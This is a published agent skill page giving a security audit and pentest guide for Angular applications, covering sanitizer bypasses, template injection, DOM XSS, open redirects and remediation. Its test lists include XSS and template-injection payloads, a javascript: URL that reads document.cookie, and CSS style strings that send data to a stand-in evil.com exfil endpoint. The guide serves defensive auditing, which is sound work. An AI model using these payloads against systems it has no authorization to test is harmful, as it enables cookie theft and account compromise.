# Angular Security Audit

> Security audit and pentesting guide for Angular applications. Use this skill whenever you need to assess Angular app security, look for XSS vulnerabilities, check for bypassSecurityTrust misuse, audit template injection risks, test for open redirects, or review Angular security configurations. Trigger this for any Angular security review, code audit, or vulnerability assessment of Angular/TypeScript frontend applications.

- Skill: `abelrguezr/angular-security-audit` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/angular-security-audit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/angular-security-audit/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/angular-security-audit

---


# Angular Security Audit Skill

A comprehensive guide for security professionals to audit and pentest Angular applications for common vulnerabilities.

## Quick Start Checklist

Run through these checks first:

- [ ] **Sourcemaps disabled** - Check `angular.json` for `sourceMap.scripts: false`
- [ ] **No bypassSecurityTrust with user input** - Search for `bypassSecurityTrust*` calls
- [ ] **No direct DOM manipulation** - Check for `ElementRef.nativeElement`, `Renderer2.setAttribute`
- [ ] **No jQuery with user input** - Look for `$.html()`, `$.parseHTML()` with untrusted data
- [ ] **No unsafe location manipulation** - Check `window.location.*`, `document.location.*` with user input
- [ ] **Template expressions escaped** - Verify user input isn't concatenated into templates
- [ ] **SecurityContext used correctly** - Ensure proper context for sanitization

## Angular Architecture Overview

Understanding the structure helps identify attack surfaces:

```
my-workspace/
├── src/
│   ├── app/
│   │   ├── app.module.ts          # Root module - check imports
│   │   ├── app.component.ts       # Root component - check logic
│   │   ├── app.component.html     # Template - check bindings
│   │   └── app-routing.module.ts  # Router - check redirects
│   └── index.html                 # Entry point
├── angular.json                   # Build config - check sourcemaps
└── tsconfig.json                  # TypeScript config
```

**Key concepts:**
- **Components** - UI units with templates (`.component.ts` + `.html`)
- **Modules** - Group related components (`.module.ts`)
- **Services** - Shared logic (`@Injectable()`)
- **Router** - Navigation between views

## Vulnerability Testing Guide

### 1. BypassSecurityTrust Methods

Angular provides methods to bypass sanitization. These are dangerous with user input.

**What to search for:**
```typescript
bypassSecurityTrustUrl
bypassSecurityTrustResourceUrl
bypassSecurityTrustHtml
bypassSecurityTrustScript
bypassSecurityTrustStyle
```

**Vulnerable pattern:**
```typescript
// DANGEROUS - user input bypasses sanitization
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
```

**Safe pattern:**
```typescript
// SAFE - validate before trusting
if (isValidUrl(userInput)) {
  this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
}
```

**Test cases:**
- `javascript:alert(1)` - Tests URL bypass
- `<script>alert(1)</script>` - Tests HTML bypass
- `background-image: url(https://evil.com/exfil?data=)` - Tests style bypass

### 2. HTML Injection

Occurs when user input binds to `innerHTML`, `outerHTML`, or `iframe srcdoc`.

**Vulnerable pattern:**
```typescript
// app.component.ts
test = userInput; // from user

// app.component.html
<div [innerHTML]="test"></div>
```

**What happens:**
- `<script>` tags are stripped (XSS blocked)
- But HTML structure is preserved (HTML injection possible)
- Can still be dangerous for UI redressing

**Test:** Input `<h1>Injected</h1><script>alert(1)</script>` - script should be removed

### 3. Template Injection

User input concatenated into template strings can execute code.

**Vulnerable pattern:**
```typescript
@Component({
  template: '<h1>title</h1>' + userInput  // DANGEROUS
})
```

**Attack vector:**
```javascript
// User input that executes code
'{{constructor.constructor("alert(1)")()}}'
```

**Test cases:**
- `{{constructor.constructor('alert(1)')()}}`
- `{{'String'.constructor.constructor('alert(1)')()}}`
- `{{'alert(1)'.constructor('alert(1)')()}}`

**Safe pattern:**
```typescript
// Use interpolation, not concatenation
<h1>{{userInput}}</h1>  // Escaped automatically
```

### 4. XSS via DOM Interfaces

Direct DOM manipulation bypasses Angular's security.

**Vulnerable patterns:**

**Document interface:**
```typescript
// DANGEROUS
document.write("<script>alert(1)</script>");
document.createElement('script').textContent = userInput;
```

**ElementRef:**
```typescript
// DANGEROUS - direct DOM access
constructor(private elementRef: ElementRef) {
  this.elementRef.nativeElement.innerHTML = userInput;
}
```

**Renderer2:**
```typescript
// DANGEROUS - setAttribute has no XSS prevention
this.renderer2.setAttribute(element, 'onerror', userInput);
this.renderer2.setProperty(element, 'innerHTML', userInput);
```

**jQuery:**
```typescript
// DANGEROUS
$("p").html(userInput);
$.parseHTML(userInput);
```

**Test payloads:**
- `<img src=1 onerror=alert(1)>`
- `<svg onload=alert(1)>`
- `<body onload=alert(1)>`

### 5. Open Redirects

User-controlled URLs in location objects can redirect to malicious sites.

**Vulnerable sinks:**
```typescript
window.location.href = userInput;
window.location.assign(userInput);
window.location.replace(userInput);
window.open(userInput, "_blank");
document.location.href = userInput;
```

**Angular Document class:**
```typescript
// DANGEROUS
constructor(@Inject(DOCUMENT) private document: Document) {}
this.document.location.href = userInput;
```

**Test cases:**
- `https://evil.com/phishing`
- `javascript:alert(document.cookie)`
- `//evil.com` (protocol-relative)
- `https://legit.com@evil.com` (credential injection)

**Safe navigation:**
```typescript
// Angular Router - stays within domain
this.router.navigate(['/path']);
this.location.go('/path');  // Also internal only
```

## Security Context Reference

Angular uses 6 security contexts for sanitization:

| Context | Use Case | Example |
|---------|----------|---------|
| `None` | No sanitization | Never use with user input |
| `HTML` | HTML content | `[innerHTML]="value"` |
| `STYLE` | CSS properties | `[style]="value"` |
| `URL` | URL attributes | `[href]="value"` |
| `SCRIPT` | JavaScript code | Rarely used |
| `RESOURCE_URL` | Executable resources | `<script src>` |

**Critical:** Using wrong context = vulnerability
```typescript
// WRONG - URL context on HTML
sanitizer.bypassSecurityTrustUrl("<script>alert(1)</script>");

// CORRECT - HTML context for HTML
sanitizer.bypassSecurityTrustHtml("<h1>Safe</h1>");
```

## Audit Workflow

### Phase 1: Reconnaissance

1. **Check sourcemaps:**
   ```bash
   curl -I https://app.com/main.js | grep sourceMappingURL
   curl https://app.com/main.js.map  # If exists, download and analyze
   ```

2. **Review angular.json:**
   ```json
   "sourceMap": {
     "scripts": false,  // Should be false in production
     "styles": false,
     "vendor": false,
     "hidden": true
   }
   ```

3. **Identify entry points:**
   - Find all components with user input
   - Map data flow from input to output
   - Identify DOM manipulation points

### Phase 2: Static Analysis

**Search patterns in codebase:**

```bash
# Bypass methods
grep -r "bypassSecurityTrust" src/

# Direct DOM access
grep -r "nativeElement" src/
grep -r "document\." src/
grep -r "window\.location" src/

# jQuery usage
grep -r "\$\." src/
grep -r "from 'jquery'" src/

# InnerHTML bindings
grep -r "innerHTML" src/
grep -r "\[innerHtml\]" src/
```

### Phase 3: Dynamic Testing

**Test each input vector:**

1. **XSS payloads:**
   ```
   <script>alert(1)</script>
   <img src=x onerror=alert(1)>
   <svg onload=alert(1)>
   javascript:alert(1)
   ```

2. **Template injection:**
   ```
   {{constructor.constructor('alert(1)')()}}
   {{'String'.constructor.constructor('alert(1)')()}}
   ```

3. **Open redirect:**
   ```
   https://evil.com
   javascript:alert(document.cookie)
   //evil.com
   ```

4. **Style injection:**
   ```
   background-image: url(https://evil.com/exfil?c=)
   behavior: url(evil.htc)
   ```

### Phase 4: Reporting

**Document findings:**

```
## Finding: [Vulnerability Type]

**Location:** `src/app/component.ts:45`

**Severity:** High/Medium/Low

**Description:** User input passed to bypassSecurityTrustUrl

**Code:**
```typescript
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
```

**Impact:** XSS via javascript: URL scheme

**Remediation:** Validate URL scheme before bypassing

**Test:** `javascript:alert(1)` executes successfully
```

## Remediation Guidelines

### Fix BypassSecurityTrust

```typescript
// BEFORE
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);

// AFTER
if (this.isValidHttpUrl(userInput)) {
  this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
}

private isValidHttpUrl(url: string): boolean {
  const pattern = /^https?:\/\/.+/;
  return pattern.test(url);
}
```

### Fix ElementRef Usage

```typescript
// BEFORE
this.elementRef.nativeElement.innerHTML = userInput;

// AFTER - Use Angular binding
<div [innerHTML]="sanitizedInput"></div>

// Or use Renderer2 safely
this.renderer2.setProperty(element, 'textContent', userInput);
```

### Fix Open Redirects

```typescript
// BEFORE
window.location.href = userInput;

// AFTER - Validate domain
if (this.isAllowedDomain(userInput)) {
  window.location.href = userInput;
}

private isAllowedDomain(url: string): boolean {
  const allowed = ['example.com', 'trusted.com'];
  try {
    const domain = new URL(url).hostname;
    return allowed.includes(domain);
  } catch {
    return false;
  }
}
```

### Fix jQuery Usage

```typescript
// BEFORE
$("p").html(userInput);

// AFTER - Use textContent or Angular binding
$("p").text(userInput);  // Escapes HTML
// Or better: use Angular's [textContent] binding
```

## Common False Positives

**Safe patterns that look dangerous:**

1. **Static bypassSecurityTrust:**
   ```typescript
   // SAFE - hardcoded URL
   this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('https://cdn.example.com/lib.js');
   ```

2. **Internal navigation:**
   ```typescript
   // SAFE - Angular Router stays internal
   this.router.navigate(['/dashboard']);
   ```

3. **Renderer2 setStyle:**
   ```typescript
   // Generally safe - limited attack surface
   this.renderer2.setStyle(element, 'color', 'red');
   ```

## References

- [Angular Security Guide](https://angular.io/guide/security)
- [Sanitization and Security Contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
- [Angular Security Checklist](https://lsgeurope.com/post/angular-security-checklist)
- [PayloadsAllTheThings - XSS in Angular](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)

## Quick Reference Card

| Vulnerability | Search For | Test Payload |
|--------------|------------|--------------|
| Bypass Trust | `bypassSecurityTrust*` | `javascript:alert(1)` |
| HTML Injection | `[innerHTML]`, `outerHTML` | `<img src=x onerror=alert(1)>` |
| Template Injection | Template concatenation | `{{constructor.constructor('alert(1)')()}}` |
| DOM XSS | `nativeElement`, `document.` | `<svg onload=alert(1)>` |
| Open Redirect | `location.href`, `window.open` | `https://evil.com` |
| jQuery XSS | `$.html()`, `$.parseHTML()` | `<script>alert(1)</script>` |

---

**Remember:** Angular's default security is strong. Most vulnerabilities come from developers bypassing protections or using unsafe APIs. Focus your audit on those bypass points and direct DOM manipulation.

